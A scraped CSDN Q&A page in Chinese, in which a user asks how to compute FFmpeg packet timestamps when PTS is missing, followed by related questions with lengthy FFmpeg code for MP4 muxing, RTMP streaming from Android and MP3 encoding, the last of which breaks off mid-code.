FFMPE的pkt的PTS如何计算

使用av_read_frame读取的pkt,发现个别pkt.pts是AV_NOPTS_VALUE,求问如何正确的对该值进行计算呢?

目前使用了两种方法,效果都不好:
#if 0
if(pkt.pts==AV_NOPTS_VALUE){
ms_waring( "The stream(%d:%s) has no pts,auto set it", type,(type==AVMEDIA_TYPE_VIDEO) ? "video" : "audio" );
AVRational time_base1=in_stream->time_base;
int64 calc_duration=(double)AV_TIME_BASE/av_q2d(ifmt_ctx->streams[push_param->flagopt.videostream_index]->r_frame_rate);
pkt.pts=(double)(vframe_index*calc_duration)/(double)(av_q2d(time_base1)*AV_TIME_BASE);
pkt.dts=pkt.pts;
pkt.duration=(double)calc_duration/(double)(av_q2d(time_base1)*AV_TIME_BASE);
}
#else

if(pkt.pts==AV_NOPTS_VALUE){
ms_waring( "The stream(%d:%s) has no pts,auto set it", type,(type==AVMEDIA_TYPE_VIDEO) ? "video" : "audio" );
double m_frameRate = in_stream->r_frame_rate.num /(double)in_stream->r_frame_rate.den;
int64_t pts = (int64_t)(AV_TIME_BASE * vframe_index / m_frameRate);
pts = av_rescale_q(pts, AV_TIME_BASE_Q, in_stream->time_base);
if (in_stream->first_dts > -AV_TIME_BASE){
pts += in_stream->first_dts;
}
//pkt.pts=pts;
}
#endif

1个回答

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
已知视屏的加密时的pts时间戳,怎么计算播放时的pts?
视频播放不正确,速度太快,说明pts有问题,网上找过计算的公式感觉套用不起来,播放还是不对。 有音视频开发的高手请指点下吧,万分感激!!!! ``` // 委托获取Packet数据 private unsafe void avPacketTodo(JT1078Codec codec, JTRTHead head, AVPacket* pkt) { // pts需要计算,公式:第n帧的pts = n * ((1 / timbase)/ fps) /* * 在解码视频流的时候对每一个视频帧都会有一个时间戳pts(显示时间戳) * 得到这个pts的值,并记下最开始的一个pts值(pts_00) *以后画面显示的时间就可以用当前播放的帧的时间戳(pts_now -pts_00)/90000获得了,单位是秒 */ if (pts_00 == 0) { pts_00 = (ulong)head.RTTimeSpan; tomp4.WriteFrame(pkt,0); } else { ulong pts = (ulong)(head.RTTimeSpan- pts_00) / 90000*1000; tomp4.WriteFrame(pkt, (long)pts); } } ```
ffmpeg录视频,播放时有快动作,偶尔出现
请问各位大神,我用ffmpeg录视频,pts一直是递增的,但是录制出来的视频帧有回跳(类似快动作,比如播放到15s,然后16s,15s,17s跳动),哪位大神知道原因不 部分代码: AVPacket pkt = { 0 }; av_init_packet(&pkt); if (video_first_timestamp == 0) { video_first_timestamp = timestamp; } pkt.stream_index = 0; pkt.data = data; pkt.size = data_size; pkt.flags |= !ret ? AV_PKT_FLAG_KEY : 0; pkt.pos = -1; // 当前帧到第一帧的时间 pkt.pts = (timestamp - video_first_timestamp) / av_q2d(record_video_st->time_base) / 1000; pkt.dts = pkt.pts; // 两帧之间的时间间隔 pkt.duration = pkt.pts - video_pre_pts; video_pre_pts = pkt.pts; if (audio_start_timestamp == 0 && isAudioMute == 1) { audio_start_timestamp = timestamp; } else if (isAudioMute == 1) { audio_time_virtual_interval = timestamp - audio_start_timestamp; } LOGI("pkt.pts: %lld ,pkt.duration: %lld ,video_first_timestamp: %lld\n", pkt.pts, pkt.duration,video_first_timestamp); ret = av_interleaved_write_frame(pFmtCtx, &pkt); av_packet_unref(&pkt); if (ret != 0) { LOGI("Write video frame failed!\n"); } return 0;
ffmpeg编码YUV图像成h264文件 关于时间戳pts的问题!
摄像头采集的每一帧YUV数据通过ffmpeg编码为h264文件 avcodec_encode_video2(video_stream->codec,&pkt,pFrame,&got _pkt)循环调用此函数编码每一帧图像 问题:编码时AVFrame的成员pts 该怎么赋值? 以及AVStream->time_base 与 AVStream->codec->time_base 表达的意思有差别吗? 这是雷博的代码: ![图片说明](https://img-ask.csdn.net/upload/201801/12/1515734452_61824.png) 讲解一下这个代码也可以,谢谢
ffmpeg合成MP4格式视频
入手ffmpeg大概2周时间,在H264和aac合成MP4文件遇到一个问题,MP4文件使用QQ影音播放没有声音,使用VLC播放有声音, 我在程序里面打印 AVOutputFormat *audio_codec = ofmt_ctx->oformat; if(audio_codec->audio_codec == AV_CODEC_ID_AAC) { printf("TAG----%d---%d--%d\n", st->codec->sample_rate, st->codec->channels,st->codec->sample_fmt); if(st->codec->codec_id == AV_CODEC_ID_AAC) printf("aac-------------------\n"); } else { printf("NO AAC\n"); } 显示的格式为aac 采样率为44100 及bit为8,都是正确的,请教下大神这是什么原因造成的? 下面为源码部分 开发环境为ffmpeg3.0.2,linux 折腾了2周 ,还是没有进展 #include <stdio.h> #define __STDC_CONSTANT_MACROS #include <libavformat/avformat.h> /* FIX: H.264 in some container format (FLV, MP4, MKV etc.) need "h264_mp4toannexb" bitstream filter (BSF) *Add SPS,PPS in front of IDR frame *Add start code ("0,0,0,1") in front of NALU H.264 in some container (MPEG2TS) don't need this BSF. */ //'1': Use H.264 Bitstream Filter #define USE_H264BSF 0 /* FIX:AAC in some container format (FLV, MP4, MKV etc.) need "aac_adtstoasc" bitstream filter (BSF) */ //'1': Use AAC Bitstream Filter #define USE_AACBSF 1 int main(int argc, char* argv[]) { AVOutputFormat *ofmt = NULL; //Input AVFormatContext and Output AVFormatContext AVFormatContext *ifmt_ctx_v = NULL, *ifmt_ctx_a = NULL,*ofmt_ctx = NULL; AVPacket pkt; int ret, i; int videoindex_v=-1,videoindex_out=-1; int audioindex_a=-1,audioindex_out=-1; int frame_index=0; int64_t cur_pts_v=0,cur_pts_a=0; //const char *in_filename_v = "cuc_ieschool.ts";//Input file URL const char *in_filename_v = "22.h264"; //const char *in_filename_a = "cuc_ieschool.mp3"; //const char *in_filename_a = "gowest.m4a"; const char *in_filename_a = "22.aac"; //const char *in_filename_a = "huoyuanjia.mp3"; const char *out_filename = "22.mp4";//Output file URL av_register_all(); //Input #if 1 if ((ret = avformat_open_input(&ifmt_ctx_v, in_filename_v, 0, 0)) < 0) { printf( "Could not open input file."); goto end; } if ((ret = avformat_find_stream_info(ifmt_ctx_v, 0)) < 0) { printf( "Failed to retrieve input stream information"); goto end; } #endif if ((ret = avformat_open_input(&ifmt_ctx_a, in_filename_a, 0, 0)) < 0) { printf( "Could not open input file."); goto end; } if ((ret = avformat_find_stream_info(ifmt_ctx_a, 0)) < 0) { printf( "Failed to retrieve input stream information"); goto end; } printf("===========Input Information==========\n"); av_dump_format(ifmt_ctx_v, 0, in_filename_v, 0); av_dump_format(ifmt_ctx_a, 0, in_filename_a, 0); printf("======================================\n"); //Output avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename); if (!ofmt_ctx) { printf( "Could not create output context\n"); ret = AVERROR_UNKNOWN; goto end; } ofmt_ctx->oformat->video_codec = AV_CODEC_ID_H264; ofmt_ctx->oformat->audio_codec = AV_CODEC_ID_AAC; ofmt = ofmt_ctx->oformat; #if 1 for (i = 0; i < ifmt_ctx_v->nb_streams; i++) { //Create output AVStream according to input AVStream if(ifmt_ctx_v->streams[i]->codec->codec_type==AVMEDIA_TYPE_VIDEO){ AVStream *in_stream = ifmt_ctx_v->streams[i]; AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec); videoindex_v=i; if (!out_stream) { printf( "Failed allocating output stream\n"); ret = AVERROR_UNKNOWN; goto end; } videoindex_out=out_stream->index; //Copy the settings of AVCodecContext if (avcodec_copy_context(out_stream->codec, in_stream->codec) < 0) { printf( "Failed to copy context from input to output stream codec context\n"); goto end; } out_stream->codec->codec_tag = 0; if (ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER; break; } } #endif for (i = 0; i < ifmt_ctx_a->nb_streams; i++) { //Create output AVStream according to input AVStream if(ifmt_ctx_a->streams[i]->codec->codec_type==AVMEDIA_TYPE_AUDIO){ AVStream *in_stream = ifmt_ctx_a->streams[i]; AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec); // add_stream(OutputStream * ost, AVFormatContext * oc, AVCodec * * codec, enum AVCodecID codec_id) audioindex_a=i; if (!out_stream) { printf( "Failed allocating output stream\n"); ret = AVERROR_UNKNOWN; goto end; } audioindex_out=out_stream->index; //Copy the settings of AVCodecContext if (avcodec_copy_context(out_stream->codec, in_stream->codec) < 0) { printf( "Failed to copy context from input to output stream codec context\n"); goto end; } out_stream->codec->codec_tag = 0; if (ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER; break; } } printf("==========Output Information==========\n"); av_dump_format(ofmt_ctx, 0, out_filename, 1); printf("======================================\n"); //Open output file if (!(ofmt->flags & AVFMT_NOFILE)) { if (avio_open(&ofmt_ctx->pb, out_filename, AVIO_FLAG_WRITE) < 0) { printf( "Could not open output file '%s'", out_filename); goto end; } } //Write file header if (avformat_write_header(ofmt_ctx, NULL) < 0) { printf( "Error occurred when opening output file\n"); goto end; } //FIX #if USE_H264BSF AVBitStreamFilterContext* h264bsfc = av_bitstream_filter_init("h264_mp4toannexb"); #endif #if USE_AACBSF AVBitStreamFilterContext* aacbsfc = av_bitstream_filter_init("aac_adtstoasc"); #endif while (1) { AVFormatContext *ifmt_ctx; int stream_index=0; AVStream *in_stream, *out_stream; //Get an AVPacket #if 1 if(av_compare_ts(cur_pts_v,ifmt_ctx_v->streams[videoindex_v]->time_base,cur_pts_a,ifmt_ctx_a->streams[audioindex_a]->time_base) <= 0){ ifmt_ctx=ifmt_ctx_v; stream_index=videoindex_out; if(av_read_frame(ifmt_ctx, &pkt) >= 0){ do{ in_stream = ifmt_ctx->streams[pkt.stream_index]; out_stream = ofmt_ctx->streams[stream_index]; if(pkt.stream_index==videoindex_v){ //FIX:No PTS (Example: Raw H.264) //Simple Write PTS if(pkt.pts==AV_NOPTS_VALUE){ //Write PTS AVRational time_base1=in_stream->time_base; //Duration between 2 frames (us) int64_t calc_duration=(double)AV_TIME_BASE/av_q2d(in_stream->r_frame_rate); //Parameters pkt.pts=(double)(frame_index*calc_duration)/(double)(av_q2d(time_base1)*AV_TIME_BASE); pkt.dts=pkt.pts; pkt.duration=(double)calc_duration/(double)(av_q2d(time_base1)*AV_TIME_BASE); frame_index++; } cur_pts_v=pkt.pts; break; } }while(av_read_frame(ifmt_ctx, &pkt) >= 0); }else{ break; } }else #endif { ifmt_ctx=ifmt_ctx_a; stream_index=audioindex_out; if(av_read_frame(ifmt_ctx, &pkt) >= 0){ do{ in_stream = ifmt_ctx->streams[pkt.stream_index]; out_stream = ofmt_ctx->streams[stream_index]; if(pkt.stream_index==audioindex_a){ //FIX:No PTS //Simple Write PTS if(pkt.pts==AV_NOPTS_VALUE){ //Write PTS AVRational time_base1=in_stream->time_base; //Duration between 2 frames (us) int64_t calc_duration=(double)AV_TIME_BASE/av_q2d(in_stream->r_frame_rate); //Parameters pkt.pts=(double)(frame_index*calc_duration)/(double)(av_q2d(time_base1)*AV_TIME_BASE); pkt.dts=pkt.pts; pkt.duration=(double)calc_duration/(double)(av_q2d(time_base1)*AV_TIME_BASE); frame_index++; } cur_pts_a=pkt.pts; break; } }while(av_read_frame(ifmt_ctx, &pkt) >= 0); }else{ break; } } //FIX:Bitstream Filter #if USE_H264BSF av_bitstream_filter_filter(h264bsfc, in_stream->codec, NULL, &pkt.data, &pkt.size, pkt.data, pkt.size, 0); #endif #if USE_AACBSF av_bitstream_filter_filter(aacbsfc, out_stream->codec, NULL, &pkt.data, &pkt.size, pkt.data, pkt.size, 0); #endif //Convert PTS/DTS pkt.pts = av_rescale_q_rnd(pkt.pts, in_stream->time_base, out_stream->time_base, (enum AVRounding)(AV_ROUND_NEAR_INF|AV_ROUND_PASS_MINMAX)); pkt.dts = av_rescale_q_rnd(pkt.dts, in_stream->time_base, out_stream->time_base, (enum AVRounding)(AV_ROUND_NEAR_INF|AV_ROUND_PASS_MINMAX)); pkt.duration = av_rescale_q(pkt.duration, in_stream->time_base, out_stream->time_base); pkt.pos = -1; pkt.stream_index=stream_index; printf("Write 1 Packet. size:%5d\tpts:%lld\n",pkt.size,pkt.pts); //Write if (av_interleaved_write_frame(ofmt_ctx, &pkt) < 0) { printf( "Error muxing packet\n"); break; } av_free_packet(&pkt); } //Write file trailer av_write_trailer(ofmt_ctx); #if USE_H264BSF av_bitstream_filter_close(h264bsfc); #endif #if USE_AACBSF av_bitstream_filter_close(aacbsfc); #endif end: avformat_close_input(&ifmt_ctx_v); avformat_close_input(&ifmt_ctx_a); /* close output */ if (ofmt_ctx && !(ofmt->flags & AVFMT_NOFILE)) avio_close(ofmt_ctx->pb); avformat_free_context(ofmt_ctx); if (ret < 0 && ret != AVERROR_EOF) { printf( "Error occurred.\n"); return -1; } return 0; }
Android 采集摄像头数据 , 通过ffmpeg推送流至服务器
Android 采集摄像头数据 , 通过ffmpeg推送流, 通过AdobeMediaServer查看 , 为什么播放视频总是隔一段时间一缓冲 , 而且播放有延迟。求大神帮忙啊 ``` AVFormatContext *ofmt_ctx; AVStream* video_st; //视音频流对应的结构体,用于视音频编解码。 AVCodecContext* pCodecCtx; AVCodec* pCodec; AVPacket enc_pkt; // 存储压缩数据(视频对应H.264等码流数据,音频对应AAC/MP3等码流数据) AVFrame *pFrameYUV; // 存储非压缩的数据(视频对应RGB/YUV像素数据,音频对应PCM采样数据) int framecnt = 0; int yuv_width; int yuv_height; int y_length; int uv_length; int64_t start_time; //const char* out_path = "rtmp://192.168.2.176/live/livestream"; //Output FFmpeg's av_log() void custom_log(void *ptr, int level, const char* fmt, va_list vl) { FILE *fp = fopen("/storage/emulated/0/av_log.txt", "a+"); if (fp) { vfprintf(fp, fmt, vl); fflush(fp); fclose(fp); } } JNIEXPORT jint JNICALL Java_com_zhanghui_test_MainActivity_initial(JNIEnv *env, jobject obj, jint width, jint height) { const char* out_path = "rtmp://192.168.2.176/live/livestream"; yuv_width = width; yuv_height = height; y_length = width * height; uv_length = width * height / 4; //FFmpeg av_log() callback av_log_set_callback(custom_log); av_register_all(); avformat_network_init(); //output initialize avformat_alloc_output_context2(&ofmt_ctx, NULL, "flv", out_path); //output encoder initialize //函数的参数是一个解码器的ID,返回查找到的解码器(没有找到就返回NULL)。 pCodec = avcodec_find_encoder(AV_CODEC_ID_H264); if (!pCodec) { LOGE("Can not find encoder!\n"); return -1; } pCodecCtx = avcodec_alloc_context3(pCodec); pCodecCtx->pix_fmt = PIX_FMT_YUV420P; pCodecCtx->width = width; pCodecCtx->height = height; pCodecCtx->time_base.num = 1; pCodecCtx->time_base.den = 25; pCodecCtx->bit_rate = 400000; pCodecCtx->gop_size = 250; /* Some formats want stream headers to be separate. */ if (ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) pCodecCtx->flags |= CODEC_FLAG_GLOBAL_HEADER; //H264 codec param //pCodecCtx->me_range = 16; //pCodecCtx->max_qdiff = 4; //pCodecCtx->qcompress = 0.6; pCodecCtx->qmin = 10; pCodecCtx->qmax = 51; //Optional Param pCodecCtx->max_b_frames = 1; // Set H264 preset and tune AVDictionary *param = 0; // av_dict_set(&param, "preset", "ultrafast", 0); // av_dict_set(&param, "tune", "zerolatency", 0); av_opt_set(pCodecCtx->priv_data, "preset", "superfast", 0); av_opt_set(pCodecCtx->priv_data, "tune", "zerolatency", 0); //打开编码器 if (avcodec_open2(pCodecCtx, pCodec, &param) < 0) { LOGE("Failed to open encoder!\n"); return -1; } //Add a new stream to output,should be called by the user before avformat_write_header() for muxing video_st = avformat_new_stream(ofmt_ctx, pCodec); if (video_st == NULL) { return -1; } video_st->time_base.num = 1; video_st->time_base.den = 25; video_st->codec = pCodecCtx; //Open output URL,set before avformat_write_header() for muxing if (avio_open(&ofmt_ctx->pb, out_path, AVIO_FLAG_READ_WRITE) < 0) { LOGE("Failed to open output file!\n"); return -1; } //Write File Header avformat_write_header(ofmt_ctx, NULL); start_time = av_gettime(); return 0; } JNIEXPORT jint JNICALL Java_com_zhanghui_test_MainActivity_encode(JNIEnv *env, jobject obj, jbyteArray yuv) { int ret; int enc_got_frame = 0; int i = 0; // 为解码帧分配内存 pFrameYUV = avcodec_alloc_frame(); uint8_t *out_buffer = (uint8_t *) av_malloc( avpicture_get_size(PIX_FMT_YUV420P, pCodecCtx->width, pCodecCtx->height)); avpicture_fill((AVPicture *) pFrameYUV, out_buffer, PIX_FMT_YUV420P, pCodecCtx->width, pCodecCtx->height); //安卓摄像头数据为NV21格式,此处将其转换为YUV420P格式 jbyte* in = (jbyte*) (*env)->GetByteArrayElements(env, yuv, 0); memcpy(pFrameYUV->data[0], in, y_length); for (i = 0; i < uv_length; i++) { *(pFrameYUV->data[2] + i) = *(in + y_length + i * 2); *(pFrameYUV->data[1] + i) = *(in + y_length + i * 2 + 1); } pFrameYUV->format = AV_PIX_FMT_YUV420P; pFrameYUV->width = yuv_width; pFrameYUV->height = yuv_height; enc_pkt.data = NULL; enc_pkt.size = 0; // 定义AVPacket对象后,请使用av_init_packet进行初始化 av_init_packet(&enc_pkt); /** 编码一帧视频数据 * int avcodec_encode_video2(AVCodecContext *avctx, AVPacket *avpkt, const AVFrame *frame, int *got_packet_ptr); 该函数每个参数的含义在注释里面已经写的很清楚了,在这里用中文简述一下: avctx:编码器的AVCodecContext。 avpkt:编码输出的AVPacket。 frame:编码输入的AVFrame。 got_packet_ptr:成功编码一个AVPacket的时候设置为1。 函数返回0代表编码成功。 */ ret = avcodec_encode_video2(pCodecCtx, &enc_pkt, pFrameYUV, &enc_got_frame); av_frame_free(&pFrameYUV); if (enc_got_frame == 1) { LOGI("Succeed to encode frame: %5d\tsize:%5d\n", framecnt, enc_pkt.size); framecnt++; //标识该AVPacket所属的视频/音频流。 enc_pkt.stream_index = video_st->index; //标识该视频/音频流 //Write PTS AVRational time_base = ofmt_ctx->streams[0]->time_base; //{ 1, 1000 }; AVRational r_framerate1 = { 60, 2 }; //{ 50, 2 }; AVRational time_base_q = { 1, AV_TIME_BASE }; //Duration between 2 frames (us) int64_t calc_duration = (double) (AV_TIME_BASE) * (1 / av_q2d(r_framerate1)); //内部时间戳 //Parameters //enc_pkt.pts = (double)(framecnt*calc_duration)*(double)(av_q2d(time_base_q)) / (double)(av_q2d(time_base)); enc_pkt.pts = av_rescale_q(framecnt * calc_duration, time_base_q, time_base); enc_pkt.dts = enc_pkt.pts; enc_pkt.duration = av_rescale_q(calc_duration, time_base_q, time_base); //(double)(calc_duration)*(double)(av_q2d(time_base_q)) / (double)(av_q2d(time_base)); enc_pkt.pos = -1; //Delay int64_t pts_time = av_rescale_q(enc_pkt.dts, time_base, time_base_q); int64_t now_time = av_gettime() - start_time; if (pts_time > now_time) av_usleep(pts_time - now_time); ret = av_interleaved_write_frame(ofmt_ctx, &enc_pkt); av_free_packet(&enc_pkt); } // output(ofmt_ctx); return 0; } JNIEXPORT jint JNICALL Java_com_zhanghui_test_MainActivity_flush(JNIEnv *env, jobject obj) { int ret; int got_frame; AVPacket enc_pkt; if (!(ofmt_ctx->streams[0]->codec->codec->capabilities & CODEC_CAP_DELAY)) return 0; while (1) { enc_pkt.data = NULL; enc_pkt.size = 0; av_init_packet(&enc_pkt); ret = avcodec_encode_video2(ofmt_ctx->streams[0]->codec, &enc_pkt, NULL, &got_frame); if (ret < 0) break; if (!got_frame) { ret = 0; break; } LOGI("Flush Encoder: Succeed to encode 1 frame!\tsize:%5d\n", enc_pkt.size); //Write PTS AVRational time_base = ofmt_ctx->streams[0]->time_base; //{ 1, 1000 }; AVRational r_framerate1 = { 60, 2 }; AVRational time_base_q = { 1, AV_TIME_BASE }; //Duration between 2 frames (us) int64_t calc_duration = (double) (AV_TIME_BASE) * (1 / av_q2d(r_framerate1)); //内部时间戳 //Parameters enc_pkt.pts = av_rescale_q(framecnt * calc_duration, time_base_q, time_base); enc_pkt.dts = enc_pkt.pts; enc_pkt.duration = av_rescale_q(calc_duration, time_base_q, time_base); //转换PTS/DTS(Convert PTS/DTS) enc_pkt.pos = -1; framecnt++; ofmt_ctx->duration = enc_pkt.duration * framecnt; /* mux encoded frame */ ret = av_interleaved_write_frame(ofmt_ctx, &enc_pkt); if (ret < 0) break; } //Write file trailer av_write_trailer(ofmt_ctx); return 0; } JNIEXPORT jint JNICALL Java_com_zhanghui_test_MainActivity_close(JNIEnv *env, jobject obj) { if (video_st) avcodec_close(video_st->codec); avio_close(ofmt_ctx->pb); avformat_free_context(ofmt_ctx); return 0; } ```
求大神帮忙看下代码 关于FFMPEG 新老版本产生的 声明被否决的问题 如何修改 谢谢了。
#include "stdafx.h" #include "FFMPEG_MP4.h" int ptsInc = 0; int waitkey = 1;; int STREAM_FRAME_RATE = 25; AVFormatContext* m_pOc; int vi; bool isIdrFrame2(uint8_t* buf, int len){ switch (buf[0] & 0x1f){ case 7: // SPS return true; case 8: // PPS return true; case 5: return true; case 1: return false; default: return false; break; } return false; } bool isIdrFrame1(uint8_t* buf, int size){ //主要是解析idr前面的sps pps // static bool found = false; // if(found){ return true;} int last = 0; for (int i = 2; i <= size; ++i){ if (i == size) { if (last) { bool ret = isIdrFrame2(buf + last, i - last); if (ret) { //found = true; return true; } } } else if (buf[i - 2] == 0x00 && buf[i - 1] == 0x00 && buf[i] == 0x01) { if (last) { int size = i - last - 3; if (buf[i - 3]) ++size; bool ret = isIdrFrame2(buf + last, size); if (ret) { //found = true; return true; } } last = i + 1; } } return false; } /* Add an output stream */ AVStream *add_stream(AVFormatContext *oc, AVCodec **codec, enum AVCodecID codec_id) { AVCodecContext *c; AVStream *st; /* find the encoder */ *codec = avcodec_find_encoder(codec_id); if (!*codec) { printf("could not find encoder for '%s' \n", avcodec_get_name(codec_id)); exit(1); } st = avformat_new_stream(oc, *codec); if (!st) { printf("could not allocate stream \n"); exit(1); } st->id = oc->nb_streams - 1; c = avcodec_alloc_context3(NULL); if (c == NULL){ printf("Could not allocate AVCodecContext\n"); } avcodec_parameters_to_context(c, st->codecpar); vi = st->index; switch ((*codec)->type) { case AVMEDIA_TYPE_AUDIO: printf("AVMEDIA_TYPE_AUDIO\n"); c->sample_fmt = (*codec)->sample_fmts ? (*codec)->sample_fmts[0] : AV_SAMPLE_FMT_FLTP; c->bit_rate = 64000; c->sample_rate = 44100; c->channels = 2; break; case AVMEDIA_TYPE_VIDEO: printf("AVMEDIA_TYPE_VIDEO\n"); c->codec_id = AV_CODEC_ID_H264; c->bit_rate = 0; c->width = 1080; c->height = 720; c->time_base.den = 50; c->time_base.num = 1; c->gop_size = 1; c->pix_fmt = AV_PIX_FMT_YUV420P; if (c->codec_id == AV_CODEC_ID_MPEG2VIDEO) { c->max_b_frames = 2; } if (c->codec_id == AV_CODEC_ID_MPEG1VIDEO) { c->mb_decision = 2; } break; default: break; } if (oc->oformat->flags & AVFMT_GLOBALHEADER) { c->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } return st; } void open_video(AVFormatContext *oc, AVCodec *codec, AVStream *st) { int ret; AVCodecContext *c; c = avcodec_alloc_context3(NULL); if (c == NULL){ printf("Could not allocate AVCodecContext\n"); } avcodec_parameters_to_context(c, st->codecpar); /* open the codec */ ret = avcodec_open2(c, codec, NULL); if (ret < 0) { printf("could not open video codec"); //exit(1); } } //testing purpose of indicate the file name and file path //int CreateMp4(const char* filename) void CreateMP4() { int ret; // 成功返回0,失败返回1 const char* pszFileName = "../1.mp4"; AVOutputFormat *fmt; AVCodec *video_codec; AVStream *m_pVideoSt; av_register_all(); avformat_alloc_output_context2(&m_pOc, NULL, NULL, pszFileName); if (!m_pOc) { printf("Could not deduce output format from file extension: using MPEG. \n"); avformat_alloc_output_context2(&m_pOc, NULL, "mpeg", pszFileName); } if (!m_pOc) { //return 1; } fmt = m_pOc->oformat; if (fmt->video_codec != AV_CODEC_ID_NONE) { printf("1111111111111111add_stream\n"); m_pVideoSt = add_stream(m_pOc, &video_codec, fmt->video_codec); } if (m_pVideoSt) { printf("1111111111111111open_video\n"); open_video(m_pOc, video_codec, m_pVideoSt); } printf("==========Output Information==========\n"); av_dump_format(m_pOc, 0, pszFileName, 1); printf("======================================\n"); /* open the output file, if needed */ if (!(fmt->flags & AVFMT_NOFILE)) { ret = avio_open(&m_pOc->pb, pszFileName, AVIO_FLAG_WRITE); if (ret < 0) { printf("could not open %s\n", pszFileName); //return 1; } } /* Write the stream header, if any */ ret = avformat_write_header(m_pOc, NULL); if (ret < 0) { printf("Error occurred when opening output file"); //return 1; } //return 0; } /* write h264 data to mp4 file * 创建mp4文件返回2;写入数据帧返回0 */ void WriteVideo(void* data, int nLen) { int ret; if (0 > vi) { printf("vi less than 0\n"); //return -1; } AVStream *pst = m_pOc->streams[vi]; //printf("vi=====%d\n",vi); // Init packet AVPacket pkt; // caculate pst AVCodecContext *c; c = avcodec_alloc_context3(NULL); if (c == NULL){ printf("Could not allocate AVCodecContext\n"); } avcodec_parameters_to_context(c, pst->codecpar); av_init_packet(&pkt); int isI = isIdrFrame1((uint8_t*)data, nLen); printf("isIFrame is %d\n", isI); pkt.flags |= isI ? AV_PKT_FLAG_KEY : 0; pkt.stream_index = pst->index; pkt.data = (uint8_t*)data; pkt.size = nLen; // Wait for key frame if (waitkey){ if (0 == (pkt.flags & AV_PKT_FLAG_KEY)){ return; } else waitkey = 0; } pkt.pts = (ptsInc++) * (90000 / STREAM_FRAME_RATE); pkt.pts = av_rescale_q((ptsInc++) * 2, pst->codec->time_base, pst->time_base); //pkt.dts = (ptsInc++) * (90000/STREAM_FRAME_RATE); // pkt.pts=av_rescale_q_rnd(pkt.pts, pst->time_base,pst->time_base,(AVRounding)(AV_ROUND_NEAR_INF|AV_ROUND_PASS_MINMAX)); pkt.dts = av_rescale_q_rnd(pkt.dts, pst->time_base, pst->time_base, (AVRounding)(AV_ROUND_NEAR_INF | AV_ROUND_PASS_MINMAX)); pkt.duration = av_rescale_q(pkt.duration, pst->time_base, pst->time_base); pkt.pos = -1; printf("pkt.size=%d\n", pkt.size); ret = av_interleaved_write_frame(m_pOc, &pkt); if (ret < 0) { printf("cannot write frame"); } } void CloseMp4() { waitkey = -1; vi = -1; if (m_pOc) av_write_trailer(m_pOc); if (m_pOc && !(m_pOc->oformat->flags & AVFMT_NOFILE)) avio_close(m_pOc->pb); if (m_pOc) { avformat_free_context(m_pOc); m_pOc = NULL; } } 一共是报了两个声明被否决 一个是 'av_register_all': 被声明为已否决 另一个是 'AVStream::codec': 被声明为已否决。 这个代码是从https://www.jianshu.com/p/e62dc6928941 照搬的,我这边的FFMPEG的库是4.1版本 因为小弟才刚开始学习 不是很清楚他的实现思路 更不知道 如何解决这两个声明被否决的问题, 请问有大神能够指导一下吗? 'AVStream::codec': 被声明为已否决:指向的是这一句:pkt.pts = av_rescale_q((ptsInc++) * 2, pst->codec->time_base, pst->time_base);
FFmpeg - 为什么从pcm提取音频,编码为mp3以后,时长变多了,声音也颤抖
``` #include <memory> extern "C" { #include "libavcodec/avcodec.h" #include "libavformat/avformat.h" #include "libavutil/imgutils.h" #include "libswresample/swresample.h" #include "libavutil/opt.h" #include "libavutil/avassert.h" #include "libavutil/audio_fifo.h" } // 函数退出后执行 #define DEFER(T, P, Fn) std::shared_ptr<T> P##deletor(P, [&](T *) {Fn;}) // 打印异常信息,并退出main函数 #define FATAL(M, ...) printf(M, ##__VA_ARGS__); return -1 // 自定义变量 const char *src_media = "E:/2.pcm"; const char *dst_media = "E:/3.mp3"; // PCM的原始参数 #define PCM_IN_FORMAT AV_SAMPLE_FMT_S16 #define PCM_IN_CHANNEL_LAYOUT AV_CH_LAYOUT_MONO #define PCM_IN_NB_SAMPLES 1024 #define PCM_IN_SAMPLE_RATE 44100 int main(int argc, char **argv) { // 申请一个输出的上下文 AVFormatContext *fmt_ctx = nullptr; avformat_alloc_output_context2(&fmt_ctx, nullptr, nullptr, dst_media); if (fmt_ctx == nullptr) { FATAL("alloc output format context failed."); } DEFER(AVFormatContext, fmt_ctx, avio_closep(&fmt_ctx->pb); avformat_close_input(&fmt_ctx)); // 查询编码器 AVCodec *audio_enc; if ((audio_enc = avcodec_find_encoder(fmt_ctx->oformat->audio_codec)) == nullptr) { FATAL("find audio encoder failed."); } AVStream *audio_stream = avformat_new_stream(fmt_ctx, audio_enc); audio_stream->id = fmt_ctx->nb_streams - 1; // 为编码器申请上下文 AVCodecContext *audio_enc_ctx = nullptr; if ((audio_enc_ctx = avcodec_alloc_context3(audio_enc)) == nullptr) { FATAL("allocate audio enc context failed."); } DEFER(AVCodecContext, audio_enc_ctx, avcodec_free_context(&audio_enc_ctx)); // 为编码器配置编码参数 audio_enc_ctx->sample_fmt = audio_enc->sample_fmts ? audio_enc->sample_fmts[0] : AV_SAMPLE_FMT_FLTP; audio_enc_ctx->bit_rate = 128000; audio_enc_ctx->sample_rate = 44100; audio_enc_ctx->channel_layout = AV_CH_LAYOUT_STEREO; audio_enc_ctx->channels = av_get_channel_layout_nb_channels(audio_enc_ctx->channel_layout); if (fmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) { audio_enc_ctx->flags |= AV_CODEC_FLAG_GLOBAL_HEADER; } audio_stream->time_base = AVRational{1, audio_enc_ctx->sample_rate}; // 打开编码器 if (avcodec_open2(audio_enc_ctx, audio_enc, nullptr) < 0) { FATAL("codec open failed."); } if (avcodec_parameters_from_context(audio_stream->codecpar, audio_enc_ctx) < 0) { FATAL("copy params failed."); } if (avio_open(&fmt_ctx->pb, dst_media, AVIO_FLAG_WRITE) < 0) { FATAL("open dst file failed."); } // 写入头信息 if (avformat_write_header(fmt_ctx, nullptr) < 0) { FATAL("write header failed."); } // 申请一个音频frame AVFrame *audio_frame = nullptr; if ((audio_frame = av_frame_alloc()) 